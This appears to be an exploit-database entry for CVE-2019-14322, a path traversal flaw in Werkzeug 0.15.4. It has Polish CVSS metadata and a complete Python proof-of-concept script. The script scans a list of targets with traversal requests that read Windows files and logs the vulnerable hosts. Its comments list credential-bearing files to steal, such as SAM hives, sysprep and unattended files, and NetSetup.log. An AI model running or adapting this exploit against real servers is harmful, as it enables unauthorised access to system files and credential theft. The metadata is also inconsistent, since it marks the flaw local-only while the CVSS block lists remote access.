Pallets Werkzeug 0.15.4 Path Traversal

2021.07.07
Credit: faisalfs10x
Risk: Medium
Local: Yes
Remote: No
CWE: CWE-22


Ogólna skala CVSS: 5/10
Znaczenie: 2.9/10
Łatwość wykorzystania: 10/10
Wymagany dostęp: Zdalny
Złożoność ataku: Niska
Autoryzacja: Nie wymagana
Wpływ na poufność: Częściowy
Wpływ na integralność: Brak
Wpływ na dostępność: Brak

#!/usr/bin/env python3 # PoC code by @faisalfs10x [https://github.com/faisalfs10x] """ $ pip3 install colorama==0.3.3, argparse, requests, urllib3 $ python3 CVE-2019-14322.py -l list_target.txt" """ import argparse import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) import requests from colorama import Fore, Back, Style, init # Colors red = '\033[91m' green = '\033[92m' white = '\033[97m' yellow = '\033[93m' bold = '\033[1m' end = '\033[0m' init(autoreset=True) def banner_motd(): print(Fore.CYAN +Style.BRIGHT +""" CVE-2019-14322 %sPoC by faisalfs10x%s - (%s-%s)%s %s """ % (bold, red, white, yellow, white, end)) banner_motd() # list of sensitive files to grab in windows # %windir%\repair\sam # %windir%\System32\config\RegBack\SAM # %windir%\repair\system # %windir%\repair\software # %windir%\repair\security # %windir%\debug\NetSetup.log (AD domain name, DC name, internal IP, DA account) # %windir%\iis6.log (5,6 or 7) # %windir%\system32\logfiles\httperr\httperr1.log # C:\sysprep.inf # C:\sysprep\sysprep.inf # C:\sysprep\sysprep.xml # %windir%\Panther\Unattended.xml # C:\inetpub\wwwroot\Web.config # %windir%\system32\config\AppEvent.Evt (Application log) # %windir%\system32\config\SecEvent.Evt (Security log) # %windir%\system32\config\default.sav # %windir%\system32\config\security.sav # %windir%\system32\config\software.sav # %windir%\system32\config\system.sav # %windir%\system32\inetsrv\config\applicationHost.config # %windir%\system32\inetsrv\config\schema\ASPNET_schema.xml # %windir%\System32\drivers\etc\hosts (dns entries) # %windir%\System32\drivers\etc\networks (network settings) # %windir%\system32\config\SAM # TLDR: # C:/windows/system32/inetsrv/config/schema/ASPNET_schema.xml # C:/windows/system32/inetsrv/config/applicationHost.config # C:/windows/system32/logfiles/httperr/httperr1.log # C:/windows/debug/NetSetup.log - (may contain AD domain name, DC name, internal IP, DA account) # C:/windows/system32/drivers/etc/hosts - (dns entries) # C:/windows/system32/drivers/etc/networks - (network settings) def check(url): # There are 3 endpoints to be tested by default, but to avoid noisy, just pick one :) # This script reads c:/windows/win.ini as a proof of concept. for endpoint in [ 'https://{}/base_import/static/c:/windows/win.ini', #'https://{}/web/static/c:/windows/win.ini', #'https://{}/base/static/c:/windows/win.ini' ]: try: url2 = endpoint.format(url) resp = requests.get(url2, verify=False, timeout=5) if 'fonts' and 'files' and 'extensions' in resp.text: print(Fore.LIGHTGREEN_EX +Style.BRIGHT +" [+] " +url2+ " : vulnerable====[+]") with open('CVE-2019-14322_result.txt', 'a+') as output: output.write('{}\n'.format(url2)) output.close() else: print(" [-] " +url+ " : not vulnerable") except KeyboardInterrupt: exit('User aborted!') except: print(" [-] " +url+ " : not vulnerable") def main(args): f = open(listfile, "r") for w in f: url = w.strip() check(url) if __name__ == '__main__': try: parser = argparse.ArgumentParser(description='CVE-2019-14322') parser.add_argument("-l","--targetlist",required=True, help = "target list in file") args = parser.parse_args() listfile = args.targetlist main(args) except KeyboardInterrupt: exit('User aborted!')


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